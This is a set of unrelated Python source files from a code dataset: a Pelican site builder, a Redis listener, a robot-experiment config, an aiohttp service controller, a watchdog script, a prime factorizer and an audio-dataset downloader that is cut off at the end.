+{"seq_id":"498179751","text":"#!/usr/bin/env conda-execute\n\n# conda execute\n# env:\n# - python>3.5\n# - pelican\n# - markdown\n# - ipython\n# - notebook\n# - tidy-html5\n# - pygments\n# channels:\n# - defaults\n# - conda-forge\n# - pelson\n# run_with: python\n\nimport os\nimport glob\nimport shutil\nimport subprocess\n\n\ndef html():\n cmd = ['pelican', 'content', '--output', 'output', '--settings', 'pelicanconf.py']\n subprocess.check_call(cmd)\n\n\ndef reload():\n cmd = ['pelican', 'content', '--autoreload', '--output', 'output',\n '--settings', 'pelicanconf.py']\n subprocess.check_call(cmd)\n\n\ndef publish():\n cmd = ['pelican', 'content', '--output', 'output',\n '--settings', 'publishconf.py']\n subprocess.check_call(cmd)\n # Remove all ordinary files (not .git/.nojekyl though)\n for fname in glob.glob('output_branch/*'):\n if os.path.isdir(fname):\n shutil.rmtree(fname)\n else:\n os.unlink(fname)\n if not os.path.exists('output_branch'):\n os.mkdir('output_branch')\n\n # Copy all files\n for root, dirs, files in os.walk('output'):\n new_root = os.path.join('output_branch',\n os.path.normpath(os.path.relpath(root, 'output')))\n for dir in dirs:\n if dir.startswith('.'):\n dirs.remove(dir)\n continue\n new = os.path.join(new_root, dir)\n os.mkdir(new)\n for fname in files:\n if fname.startswith('.'):\n continue\n old = os.path.join(root, fname)\n new = os.path.join(new_root, fname)\n if fname.endswith('.html'):\n print('\\nConverting {}:'.format(old))\n cmd = ['tidy5', '-config', 'tidy_config.txt', old]\n with open(new, 'w') as fh:\n try:\n code = subprocess.check_call(cmd, stdout=fh)\n except subprocess.CalledProcessError as err:\n if err.returncode != 1:\n raise\n else:\n shutil.copy(old, new)\n\n for fname in sorted(glob.glob('output/*')):\n continue\n if os.path.isdir(fname):\n shutil.copytree(fname, os.path.join('output_branch', os.path.basename(fname)))\n elif fname.endswith('.html'):\n cmd = ['tidy5', '-config', 'tidy_config.txt', fname]\n with open(os.path.join('output_branch', os.path.basename(fname)), 'w') as fh:\n subprocess.check_call(cmd, stdout=fh)\n else:\n shutil.copy(fname, os.path.join('output_branch', os.path.basename(fname)))\n\n\nif __name__ == '__main__':\n import argparse\n parser = argparse.ArgumentParser('Help')\n subparsers = parser.add_subparsers(dest='subcommand')\n subparsers.required = True\n\n parser_html = subparsers.add_parser('html', help=\"Make the html\")\n parser_html.set_defaults(func=html)\n\n parser_publish = subparsers.add_parser('publish', help=\"Make publishable html, and put it in the output_branch.\")\n parser_publish.set_defaults(func=publish)\n\n parser_reload = subparsers.add_parser('reload', help=\"Make the html, and watch the folder for any changes.\")\n parser_reload.set_defaults(func=reload)\n\n args = parser.parse_args()\n args.func()\n","sub_path":"make.py","file_name":"make.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"595791845","text":"import redis\n\nr = redis.StrictRedis(host='localhost', port=6379, db=0, decode_responses=True)\n\npubsub = r.pubsub()\npubsub.subscribe('sinewave')\n\nfor item in pubsub.listen():\n if item['type'] == 'message':\n print(item['data'])\n","sub_path":"sinewave_listener.py","file_name":"sinewave_listener.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"361314527","text":"from EventManager.Models.RobotRunnerEvents import RobotRunnerEvents\nfrom EventManager.EventSubscriptionController import EventSubscriptionController\nfrom ConfigValidator.Config.Models.RunTableModel import RunTableModel\nfrom ConfigValidator.Config.Models.FactorModel import FactorModel\nfrom ConfigValidator.Config.Models.RobotRunnerContext import RobotRunnerContext\nfrom ConfigValidator.Config.Models.OperationType import OperationType\n\nimport time\nfrom typing import Dict, List\nfrom pathlib import Path\n\nclass RobotRunnerConfig:\n # =================================================USER SPECIFIC NECESSARY CONFIG=================================================\n # Name for this experiment\n name: str = \"mini_test\"\n # Required ROS version for this experiment to be ran with \n # NOTE: (e.g. ROS2 foxy or eloquent)\n # NOTE: version: 2\n # NOTE: distro: \"foxy\"\n required_ros_version: int = None\n required_ros_distro: str = None\n # Experiment operation types\n operation_type: OperationType = OperationType.AUTO\n # Run settings\n time_between_runs_in_ms: int = 1000\n # Path to store results at\n # NOTE: Path does not need to exist, will be appended with 'name' as specified in this config and created on runtime\n results_output_path: Path = Path(\"~/Documents/experiments\")\n # =================================================USER SPECIFIC UNNECESSARY CONFIG===============================================\n\n # Dynamic configurations can be one-time satisfied here before the program takes the config as-is\n # NOTE: Setting some variable based on some criteria\n def __init__(self):\n \"\"\"Executes immediately after program start, on config load\"\"\"\n\n EventSubscriptionController.subscribe_to_multiple_events([ \n (RobotRunnerEvents.BEFORE_EXPERIMENT, self.before_experiment), \n (RobotRunnerEvents.START_RUN, self.start_run),\n (RobotRunnerEvents.START_MEASUREMENT, self.start_measurement),\n (RobotRunnerEvents.LAUNCH_MISSION, self.launch_mission),\n (RobotRunnerEvents.STOP_MEASUREMENT, self.stop_measurement),\n (RobotRunnerEvents.STOP_RUN, self.stop_run),\n (RobotRunnerEvents.POPULATE_RUN_DATA, self.populate_run_data),\n (RobotRunnerEvents.AFTER_EXPERIMENT, self.after_experiment)\n ])\n \n print(\"Custom config loaded\")\n\n def create_run_table(self) -> List[Dict]:\n \"\"\"Create and return the run_table here. A run_table is a List (rows) of tuples (columns), \n representing each run robot-runner must perform\"\"\"\n run_table = RunTableModel(\n factors = [\n FactorModel(\"example_factor\", ['example_treatment1', 'example_treatment2'])\n ],\n exclude_variations = [\n {\"example_treatment1\"}, # all runs having treatment example_treatment1 will be excluded\n {\"example_treatment1\", \"example_treatment2\"} # all runs having the combination will be excluded\n ] \n )\n run_table.create_experiment_run_table()\n return run_table.get_experiment_run_table()\n\n def before_experiment(self) -> None:\n \"\"\"Perform any activity required before starting the experiment here\"\"\"\n\n print(\"Config.before_experiment() called!\")\n\n def start_run(self, context: RobotRunnerContext) -> None:\n \"\"\"Perform any activity required for starting the run here. \n Activities before and after starting the run should also be performed here.\"\"\"\n \n print(\"Config.start_run() called!\")\n\n def start_measurement(self, context: RobotRunnerContext) -> None:\n print(\"Config.start_measurement called!\")\n\n def launch_mission(self, context: RobotRunnerContext) -> None:\n \"\"\"Perform any activity interacting with the robotic\n system in question (simulated or real-life) here.\"\"\"\n time.sleep(5)\n print(\"Config.launch_mission() called!\")\n\n def stop_measurement(self, context: RobotRunnerContext) -> None:\n print(\"Config.stop_measurement called!\")\n\n def stop_run(self, context: RobotRunnerContext) -> None:\n \"\"\"Perform any activity required for stopping the run here.\n Activities before and after stopping the run should also be performed here.\"\"\"\n \n print(\"Config.stop_run() called!\")\n \n def populate_run_data(self, context: RobotRunnerContext) -> tuple:\n \"\"\"Return the run data as a row for the output manager represented as a tuple\"\"\"\n return None\n\n def after_experiment(self) -> None:\n \"\"\"Perform any activity required after stopping the experiment here\"\"\"\n\n print(\"Config.after_experiment() called!\")\n\n # ===============================================DO NOT ALTER BELOW THIS LINE=================================================\n # NOTE: Do not alter these values\n experiment_path: Path = None\n","sub_path":"experiments/mini_test/mini_test_config.py","file_name":"mini_test_config.py","file_ext":"py","file_size_in_byte":5120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"245297396","text":"\"\"\"\nCopyright (c) 2019 Michael McCartney, Kevin McLoughlin\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\"\"\"\n\nimport queue\nimport logging\nimport fnmatch\nimport requests\nimport functools\nimport threading\n\n\n# -- For Queue Prio\nfrom dataclasses import dataclass, field\nfrom typing import Any\n\nimport asyncio\nfrom aiohttp import web\nimport jinja2\nimport aiohttp_jinja2\n\nfrom . import log\nfrom .base import _HivemindAbstractObject, _HandlerBase\nfrom hivemind.util import global_settings\n\nfrom hivemind.data.abstract.scafold import _DatabaseIntegration\n\n# -- Bsaeic tables required by the system\nfrom hivemind.data.tables import TableDefinition, RequiredTables, NodeRegister\n\n# -- Populate known database mappings\nfrom hivemind.data.contrib import interfaces\n\n\nclass RootServiceHandler(_HandlerBase):\n \"\"\"\n Web handler for the services in order to route the\n data through properly.\n\n # TODO: Move this away from here\n \"\"\"\n async def register_node(self, request):\n \"\"\" Register a _Node \"\"\"\n data = await request.json()\n port = self.controller._register_node(data)\n return web.json_response({ 'result' : port })\n\n\n async def register_service(self, request):\n \"\"\" Register a _Service \"\"\"\n data = await request.json()\n self.controller._register_service(data)\n return web.json_response({ 'result' : True })\n\n\n async def register_subscription(self, request):\n \"\"\" Register a _Subscription \"\"\"\n data = await request.json()\n self.controller._register_subscription(data)\n return web.json_response({ 'result' : True })\n\n\n async def register_task(self, request):\n \"\"\" Register a _Task \"\"\"\n data = await request.json()\n task_connect = self.controller._register_task(data)\n return web.json_response(task_connect)\n\n\n async def heartbeat(self, request):\n \"\"\" Basic alive test \"\"\"\n return web.json_response({'result' : True})\n\n\n async def service_dispatch(self, request):\n \"\"\" Dispatch service command \"\"\"\n path = request.match_info['tail']\n data = await request.json()\n passback = self.controller._delegate(path, data)\n return web.json_response(passback)\n\n\n async def task_data_dispatch(self, request):\n # TODO\n pass\n\n\n async def index_post(self, request):\n # FIXME: Why do we need this?\n return web.json_response({'result': True})\n\n\n @aiohttp_jinja2.template(\"hive_index.html\")\n async def index(self, request):\n return self.controller.base_context()\n\n\n@dataclass(order=True)\nclass PrioritizedDispatch:\n \"\"\"\n Item used to identify the prio of arbitrary payload\n data from our services. Ripped from py docs.\n \"\"\"\n priority: int\n name: Any=field(compare=False)\n node: Any=field(compare=False)\n payload: Any=field(compare=False)\n\n\nclass RootController(_HivemindAbstractObject):\n \"\"\"\n Basic impl of subscription service handler\n \"\"\"\n\n #\n # The node states that determine how we handle them.\n #\n NODE_PENDING = 'pending'\n NODE_ONLINE = 'online'\n NODE_TERM = 'terminate'\n\n class SubscriptionInfo(object):\n \"\"\"\n Subscription data held by the RootController\n \"\"\"\n def __init__(self, endpoint, port, proxy):\n self._endpoint = endpoint\n self._port = port\n self._proxy = proxy\n\n @property\n def port(self):\n return self._port\n\n\n @property\n def endpoint(self):\n return self._endpoint\n\n\n @property\n def proxy(self):\n return self._proxy\n \n\n def __init__(self, **kwargs):\n _HivemindAbstractObject.__init__(\n self,\n logger=kwargs.get('logger', None)\n )\n\n self._settings = kwargs\n\n self._port_count = 0\n\n # Known nodes out in the ecosystem\n # self._nodes = set()\n\n # Known services actively running\n self._services = {}\n\n # Requested subscriptions\n self._subscriptions = {}\n\n # Registered tasks\n self._tasks = {}\n\n # How we know to shut down our dispatch threads\n self._abort = False\n\n #\n # To avoid bogging down slow processing subscriptions,\n # we use a set of response threads to make sure things\n # stay nice and light as well as handle instances of\n # bugged nodes without halting the rest of the execution\n # state.\n #\n self._response_threads = []\n self._response_lock = threading.RLock()\n self._response_condition = threading.Condition(self._response_lock)\n self._response_queue = queue.PriorityQueue()\n\n #\n # Startup utilities\n #\n self._startup_condition = kwargs.get('startup_condition', None)\n\n # We don't start the database until we're within the run() command\n # to make sure all database interactions with this object happen\n # on the same node.\n self._database = None\n\n\n @classmethod\n def send_to_controller(cls, service, payload):\n \"\"\"\n Utility for shipping messages to our controller which\n will then route to the various subscribers (alternate\n thread)\n \"\"\"\n json_data = {\n 'service' : service.name,\n 'node' : service.node.name,\n 'payload' : payload,\n 'priority' : 1 # TODO\n }\n\n default_port = global_settings['default_port']\n result = requests.post(\n f'http://127.0.0.1:{default_port}/service/{service.name}',\n json=json_data\n )\n result.raise_for_status()\n return 0 # We'll need some kind of passback\n\n\n @classmethod\n def _register_post(cls, type_, json_data):\n \"\"\"\n Utility for running a POST at the controller service\n \"\"\"\n default_port = global_settings['default_port']\n result = requests.post(\n f'http://127.0.0.1:{default_port}/register/{type_}',\n json=json_data\n )\n result.raise_for_status()\n return result.json() # Should be the port\n\n # -- Registration Methods (Called from the _Node classes)\n\n @classmethod\n def register_node(cls, node):\n \"\"\"\n Add the node to our root (if not already there). If it is,\n we simply ignore the request.\n \"\"\"\n return cls._register_post('node', {\n 'name' : node.name,\n 'status': cls.NODE_PENDING\n })\n\n\n @classmethod\n def deregister_node(cls, node):\n \"\"\"\n Dismantel a node\n \"\"\"\n return cls._register_post('node', {\n 'name' : node.name,\n 'status': cls.NODE_TERM\n })\n\n\n @classmethod\n def enable_node(cls, node):\n \"\"\"\n Enable the node\n \"\"\"\n return cls._register_post('node', {\n 'name' : node.name,\n 'status': cls.NODE_ONLINE\n })\n\n\n @classmethod\n def register_service(cls, service) -> dict:\n \"\"\"\n Register a service. This is called from a _Node\n\n :param service: The _Service instance that contains\n the required info.\n :return: dict\n \"\"\"\n return cls._register_post('service', {\n 'node' : service.node.name,\n 'name' : service.name,\n })\n\n\n @classmethod\n def register_subscription(cls, subscription) -> dict:\n \"\"\"\n Register a subscription. This is called from a _Node\n\n :param subscription: The _Subscription instance that contains\n the required info.\n :return: dict\n \"\"\"\n return cls._register_post('subscription', {\n 'node' : subscription.node.name,\n 'filter' : subscription.filter,\n 'endpoint' : subscription.endpoint,\n 'port' : subscription.node.port\n })\n\n\n @classmethod\n def register_task(cls, task):\n \"\"\"\n Register a task. This is call from a _Node (specifically a TaskNode)\n\n :param task: _Task instance that we'll be using\n :return dict:\n \"\"\"\n return cls._register_post('task', {\n 'node' : task.node.name,\n 'name' : task.name,\n 'endpoint' : task.endpoint,\n 'port' : task.node.port\n })\n\n\n @classmethod\n def exec_(cls, logging=None):\n \"\"\"\n Generic call used by most entry scripts to start the root without\n having to create a custom local instance\n \"\"\"\n log.start(logging is not None)\n controller = cls()\n controller.run()\n return controller\n\n # -- Virtual Interface\n\n def additional_routes(self) -> list:\n \"\"\"\n Overload if required. Return a list of aiohttp routes that we\n add to the web server for consumption. The main endpoints are\n injected already so only user specific endpoints should live\n here. The default implementation fills in the Task endpoint.\n\n :return: list\n \"\"\"\n from hivemind.util.tasknode import TaskNode\n endpoint = functools.partial(TaskNode.tasks_endpoint, self)\n return [\n web.get('/tasks', endpoint)\n ]\n\n # -- Overloaded\n\n def run(self, loop=None):\n \"\"\"\n Our run operation is built to handle the various incoming\n requests and respond to the required items in time.\n \"\"\"\n self._app = None\n try:\n if not loop:\n loop = asyncio.new_event_loop()\n asyncio.set_event_loop(loop)\n\n #\n # Data layer interface\n #\n self._init_database()\n\n self._handler_class = RootServiceHandler()\n self._handler_class.controller = self # Reverse pointer\n\n self._app = web.Application(loop=loop)\n\n # Setup the template engine\n aiohttp_jinja2.setup(\n self._app,\n loader=jinja2.FileSystemLoader(\n global_settings['hive_root'] + '/static/templates'\n )\n )\n\n self._app.add_routes([\n web.post('/register/node',\n self._handler_class.register_node),\n\n web.post('/register/service',\n self._handler_class.register_service),\n\n web.post('/register/subscription',\n self._handler_class.register_subscription),\n\n web.post('/register/task',\n self._handler_class.register_task),\n\n web.get('/heartbeat',\n self._handler_class.heartbeat),\n\n web.post('/heartbeat',\n self._handler_class.heartbeat),\n\n web.post('/service/{tail:.*}',\n self._handler_class.service_dispatch),\n\n web.post('/',\n self._handler_class.index_post),\n web.get('/',\n self._handler_class.index),\n\n # -- For development - need a \"collectstatic\" eq\n web.static('/static',\n global_settings['static_dirs'][0],\n follow_symlinks=True)\n ])\n\n self._app.add_routes(self.additional_routes())\n\n #\n # Before running our server, let's start our queue threads\n # that deal with linking back to other services.\n #\n for i in range(self._settings.get('response_threads', 2)):\n res_thread = threading.Thread(\n target=self._dispatch,\n name=f'response_thread_{i}'\n )\n res_thread.start()\n self._response_threads.append(res_thread)\n\n\n default_port = global_settings['default_port']\n self.log_info(f\"Serving on {default_port}...\")\n\n if self._startup_condition:\n # Alert waiting parties that we're ready\n with self._startup_condition:\n self._startup_condition.notify_all()\n\n # Just keep serving!\n web.run_app(\n self._app,\n port=default_port,\n handle_signals=False,\n access_log=self.logger\n )\n\n except Exception as e:\n if not isinstance(e, KeyboardInterrupt):\n import traceback\n self.log_critical(traceback.format_exc())\n print (traceback.format_exc())\n\n finally:\n asyncio.run(self._shutdown())\n\n if self._startup_condition:\n # Make sure we clean up if something went wrong too\n with self._startup_condition:\n self._startup_condition.notify_all()\n\n return\n\n def base_context(self):\n \"\"\"\n The initial context we use when rendering jinja2 templates\n for use in the hive webfront\n :return: dict\n \"\"\"\n return {\n '_hive_name' : global_settings['name']\n }\n\n # -- Private Interface (reserved for running instance)\n\n def _node_exists(self, name):\n \"\"\"\n Check the database for the node\n \"\"\"\n query = self._database.new_query(\n NodeRegister, NodeRegister.name.equals(name)\n )\n return (query.count() > 0)\n\n\n def _get_node(self, name: str) -> (None, NodeRegister):\n \"\"\"\n Aquire a node if it exists. Otherwise return None\n :param name: The name of the node to search for\n :return: NodeRegister|None\n \"\"\"\n return self._database.new_query(\n NodeRegister, name=name\n ).get_or_null()\n\n def _register_node(self, payload):\n \"\"\"\n Register a node with our setup\n \"\"\"\n assert \\\n isinstance(payload, dict), \\\n 'Registration payload must be a dict'\n assert \\\n all(k in payload for k in ('name', 'status')), \\\n 'Registration payload missing name or status'\n\n if payload['status'] != self.NODE_TERM:\n self.log_info(f\"Register Node: {payload['name']}\")\n else:\n self.log_info(f\"Deregister Node: {payload['name']}\")\n\n node = self._get_node(payload['name'])\n\n with self.lock:\n if not node:\n\n if payload['status'] == self.NODE_TERM:\n # We're removing the node. Shouldn't be\n # here\n return 0\n\n self._port_count += 1\n port = global_settings['default_port'] + self._port_count\n self._database.create(\n NodeRegister,\n name=payload['name'],\n status=payload['status'],\n port=port\n )\n return port\n\n else:\n destroy = None\n\n # We've seen this node before (at least - we should\n # have)\n if payload['status'] == self.NODE_TERM:\n # Clean up this node\n self._remove_node(node)\n return 0\n else:\n node.status = payload['status']\n self._database.save(node)\n return node.port\n\n\n def _remove_node(self, node_instance: NodeRegister) -> None:\n \"\"\"\n Terminate all connections with a node. Because we base everything\n off the proxy, this becomes doable without too much headache.\n \"\"\"\n with self.lock: # reentrant\n\n if node_instance in self._services:\n self._services.pop(node_instance)\n\n if node_instance in self._tasks:\n self._tasks.pop(node_instance)\n\n for filter_, subinfo in self._subscriptions.items():\n to_rem = []\n for d in subinfo:\n if d.proxy == node_instance:\n to_rem.append(d)\n for d in to_rem:\n subinfo.remove(d)\n\n self._database.delete(node_instance)\n\n\n def _register_service(self, payload):\n \"\"\"\n Register a service\n \"\"\"\n assert isinstance(payload, dict), \\\n 'Service Registration payload must be a dict'\n\n assert all(k in payload for k in ('node', 'name')), \\\n 'Service Registration payload missing \"node\" or \"name\"'\n\n self.log_info(f\"Register Service: {payload['name']} to {payload['node']}\")\n\n node = self._get_node(payload['node'])\n assert node, f'Node {payload[\"node\"]} not found'\n\n with self.lock:\n known_services = self._services.setdefault(node, {})\n\n assert \\\n payload['name'] not in known_services, \\\n f'The service {payload[\"name\"]} already exists for {payload[\"node\"]}'\n\n known_services[payload['name']] = payload\n\n return 0\n\n\n def _register_subscription(self, payload):\n \"\"\"\n Register a subscription\n \"\"\"\n assert \\\n isinstance(payload, dict), \\\n 'Subscription Registration payload must be a dict'\n assert \\\n all(k in payload for k in ('node', 'filter', 'endpoint', 'port')), \\\n 'Subscription Registration payload missing \"node\", ' \\\n ' \"filter\", \"port\" or \"endpoint\"'\n\n node = self._get_node(payload['node'])\n assert node, f'Node {payload[\"node\"]} not found'\n\n self.log_info(\n f\"Register Subscription: {payload['node']} to {payload['filter']}\"\n )\n\n with self.lock:\n\n known_subscriptions = self._subscriptions.setdefault(\n payload['filter'], []\n )\n known_subscriptions.append(\n self.SubscriptionInfo(\n payload['endpoint'],\n payload['port'],\n node\n )\n )\n\n return 0\n\n\n def _register_task(self, payload):\n \"\"\"\n Register a task\n \"\"\"\n assert \\\n isinstance(payload, dict), \\\n 'Task Registration payload must be a dict'\n assert \\\n all(k in payload for k in ('node', 'filter', 'endpoint', 'port')), \\\n 'Task Registration payload missing \"node\", ' \\\n ' \"filter\", \"port\" or \"endpoint\"'\n\n node = self._get_node(payload['node'])\n assert node, f'Node {payload[\"node\"]} not found'\n\n self.log_info(\n f\"Register Task: {payload['node']} to {payload['name']}\"\n )\n\n task_required_data = {}\n\n with self.lock:\n known_tasks = self._tasks.setdefault(proxy, {})\n\n assert \\\n payload['name'] not in known_tasks, \\\n f'The task {payload[\"name\"]} already exists for {payload[\"node\"]}'\n\n #\n # We have to do quite a few things here...\n # 1. Build an endpoint for the task\n # task_required_data['endpoint'] = \n # 2. Based on the task info and any parameter definitions, we hold\n # that until we request that action be taken\n # 3. Cron is obviously a little different but the idea is mostly the same\n #\n\n return task_required_data\n\n\n\n def _delegate(self, path, payload):\n \"\"\"\n Based on the path, we have to handle our work accordingly.\n \"\"\"\n service_name = path.split('/')[-1]\n self.log_debug(f\"Message from: {service_name}\")\n\n self._response_queue.put(PrioritizedDispatch(\n payload.get('priority', 1), # Prio (lower is higher prio!)\n service_name, # Name\n payload.get('node', None), # Node\n payload.get('payload', None) # Payload\n ))\n\n with self._response_condition:\n self._response_condition.notify()\n\n return { 'result' : True } # For now\n\n\n\n def _recieve_task_data(self, path, payload):\n \"\"\"\n Based on the task information coming in, we store the information for\n our user to digest via the web server.\n :param path: The url path that we've entered with\n :param payload: The payload that we're given\n \"\"\"\n return 0\n\n\n async def _shutdown(self):\n if self._app:\n await self._app.shutdown()\n with self._response_condition:\n self._abort = True\n self._response_condition.notify_all()\n self._database.disconnect()\n\n\n def _dispatch(self):\n \"\"\"\n Based on what's available from the queue, ship out messages\n to any listening subsribers \n \"\"\"\n while True:\n\n with self._response_condition:\n while (not self._abort) and self._response_queue.empty():\n self._response_condition.wait()\n\n dispatch_object = None\n with self._response_lock:\n if self._abort:\n break\n\n try:\n dispatch_object = self._response_queue.get_nowait()\n except queue.Empty:\n continue # We must have missed it\n\n if not dispatch_object:\n continue # How??\n\n # We have a dispatch - locate any matching subscriptions\n for filter_ in self._subscriptions:\n if fnmatch.fnmatch(dispatch_object.name, filter_):\n\n #\n # We have a match - now it's time to ship this\n # payload to the subscriptions undernearth\n #\n for si in self._subscriptions[filter_]:\n url = f'http://127.0.0.1:{si.port}{si.endpoint}'\n self._send_to_subscription(\n url, dispatch_object.payload\n )\n\n\n def _send_to_subscription(self, url, payload) -> None:\n result = requests.post(url, json=payload)\n try:\n result.raise_for_status()\n except Exception as e:\n print (\"Sending to sub failed!\") # FIXME\n\n\n def _init_database(self) -> None:\n \"\"\"\n Initialize the database and make sure we have all the right bits\n :return: None\n \"\"\"\n self._database = _DatabaseIntegration.start_database(\n global_settings['database']\n )\n\n active_tables = self._database.get_table_names()\n\n if TableDefinition.db_name() not in active_tables:\n #\n # The table definition is a rather vital table\n # We need to make sure it's available\n #\n self._database._create_table(TableDefinition)\n active_tables.append(TableDefinition.db_name())\n\n for name, table in RequiredTables:\n\n if name not in active_tables:\n self._database._create_table(table)\n TableDefinition.register_table(self._database, table)\n\n # else:\n # TableDefinition.validate_table(table)\n","sub_path":"hivemind/core/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":24194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"638481938","text":"#!/usr/bin/env python3\n\nfrom os.path import isfile,getmtime\nfrom glob import glob\nfrom time import sleep,time\nfrom os import system\nfrom subprocess import Popen,PIPE\nfrom lib.utils import configuration\n\nconfig = configuration('shape_params.yaml')\nparams=config.getParams()\n\nscripts_dir=params['paths']['scripts_dir']\n\nlocal_data=params['paths']['data_dir']\nscript='process_file.py'\nyaml_file = 'shape_params.yaml'\nstack='s3://mousebraindata-open/MD657'\nexec_dir=params['paths']['scripts_dir']\n\n\ndef runPipe(command):\n print('cmd=',command)\n p=Popen(command.split(),stdout=PIPE,stderr=PIPE)\n L=p.communicate()\n stdout=L[0].decode(\"utf-8\").split('\\n')\n stderr=L[1].decode(\"utf-8\").split('\\n')\n return stdout,stderr\n\ndef run(command,out):\n print('cmd=',command,'out=',out)\n outfile=open(out,'w')\n Popen(command.split(),stdout=outfile,stderr=outfile)\n\ndef Last_Modified(file_name):\n try:\n mtime = getmtime(file_name)\n except OSError:\n mtime = 0\n return(mtime)\n\nif __name__=='__main__':\n Recent=False\n for logfile in glob(exec_dir+'/Controller*.log'):\n gap=time() - Last_Modified(logfile)\n if gap <120: # allow 2 minute idle\n print(logfile,'gap is %6.1f'%gap)\n Recent=True\n break\n if(not Recent):\n # Check that another 'controller' is not running\n stdout,stderr = runPipe('ps aux')\n Other_controller=False\n for line in stdout:\n if 'Controller.py' in line:\n Other_controller=True\n break\n \n if Other_controller:\n print('Other Controller.py is running')\n else:\n command='{0}/Controller.py {1} {2}'\\\n .format(exec_dir,stack,yaml_file)\n output='{0}/Controller-{1}.log'.format(exec_dir,int(time()))\n run(command,output)\n\n # Controller.py [-h] scripts_dir script s3location local_data\n","sub_path":"scripts/watchdog.py","file_name":"watchdog.py","file_ext":"py","file_size_in_byte":1939,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"654532248","text":"#Created by Oranje Maan\r\n#12 October 2018\r\n#Prime Factorization Function\r\n\r\n\r\ndef primeFactorization(number):\r\n #List of variables\r\n beenUsed = False\r\n uncertainty = False\r\n continuation = True\r\n count = 0\r\n currentPrime = 0\r\n isNegative = False\r\n primeNumberList = []\r\n primesList = []\r\n useNumber = 0\r\n #Checking to see if input is an integer\r\n try:\r\n int(number)\r\n except:\r\n print(\"The input was not an integer.\")\r\n return\r\n #Assigning a to input\r\n number = int(number)\r\n a = number\r\n #Reading a file with prime numbers\r\n primeNumberList = open(\"listPrime.txt\",\"r\")\r\n #Checking to see if number is negative\r\n if(number < 0):\r\n number = -number\r\n isNegative = True\r\n a = number\r\n #Looking for special cases\r\n if(number == 1):\r\n print(\"1 is neither a prime nor a composite number. It's only factor is itself.\")\r\n elif(number == 0):\r\n print(\"0 is neither a prime nor composite number. It's only factor is itself.\")\r\n else:\r\n #Finding the amount of prime numbers in listPrime smaller than the inputed number\r\n while(continuation):\r\n try:\r\n currentPrime = int(primeNumberList.readline())\r\n except:\r\n continuation = False\r\n uncertainty = True\r\n if (number <= currentPrime):\r\n continuation = False\r\n else:\r\n count = count + 1\r\n primesList.append(currentPrime)\r\n #Checking to see number of times dividable by every prime in primesList\r\n for i in range(count):\r\n continuation = True\r\n useNumber = 0\r\n while (continuation):\r\n if (a % primesList[i] == 0):\r\n useNumber = useNumber + 1\r\n beenUsed = True\r\n a = a / primesList[i]\r\n else:\r\n continuation = False\r\n if(useNumber > 0):\r\n print(str(primesList[i]) + \" - \" + str(useNumber))\r\n #Checking to see if prime\r\n if (beenUsed == False and isNegative == False):\r\n print(str(a) + \" is a prime number. It's only factor is itself and one.\")\r\n #Checking to see if negative\r\n if (isNegative):\r\n print(\"As this is a negative number, one and only one of the factors has to be negative.\")\r\n #Checking if in bounds of certainty\r\n if (uncertainty):\r\n print(\"The number is larger than the largest prime in the list. The results may be innacurate.\")\r\n\r\n#Calling function in main() \r\ndef main():\r\n number = input(\"Give an integer please.\")\r\n primeFactorization(number)\r\n \r\nmain()\r\n","sub_path":"Prime Factorization(3.7).py","file_name":"Prime Factorization(3.7).py","file_ext":"py","file_size_in_byte":2744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"577118435","text":"\"\"\"\nUses DataAcquisition class to extract data...\n\"\"\"\n\n\nimport os\nimport zipfile\nimport shutil\nfrom functools import partial\nfrom multiprocessing import Pool\n\nimport wget\nimport numpy as np\nimport pandas as pd\nimport librosa\nimport soundfile as sf\nfrom sklearn.model_selection import train_test_split\nimport matplotlib.pyplot as plt\n\nfrom aircraft_detector.utils.utils import (\n print_verbose,\n retrieve_files,\n refresh_directory,\n)\nimport aircraft_detector.utils.plot_helper as ph\n\n\nclass DataAcquisition:\n \"\"\"\n\n\n\n \"\"\"\n\n def __init__(self, root_directory):\n self._dir_root = root_directory\n self._sample_rate = 44100\n self.verbose = True\n self.super_verbose = False\n\n def import_audio_esc50(self):\n \"\"\"Download and extract the ESC-50 dataset.\n \"\"\"\n # set destination\n dir_dest = os.path.join(self._dir_root, \"Raw\", \"Aircraft\")\n if not os.path.exists(dir_dest):\n os.makedirs(dir_dest)\n # download\n fp_dest = os.path.join(dir_dest, \"ESC-50-master.zip\")\n fp_unzipped = os.path.join(dir_dest, \"ESC-50-master\")\n if not os.path.exists(fp_unzipped):\n print_verbose(self.verbose, \"Downloading...\")\n url = \"https://github.com/karoldvl/ESC-50/archive/master.zip\"\n wget.download(url, dir_dest)\n print_verbose(self.verbose, \"Download finished.\")\n # unzip\n with zipfile.ZipFile(fp_dest, \"r\") as zip_ref:\n zip_ref.extractall(dir_dest)\n print_verbose(\n self.verbose, \"Extracted ESC-50 to %s\" % os.path.abspath(fp_dest)\n )\n else:\n print_verbose(\n self.verbose,\n \"ESC-50 has 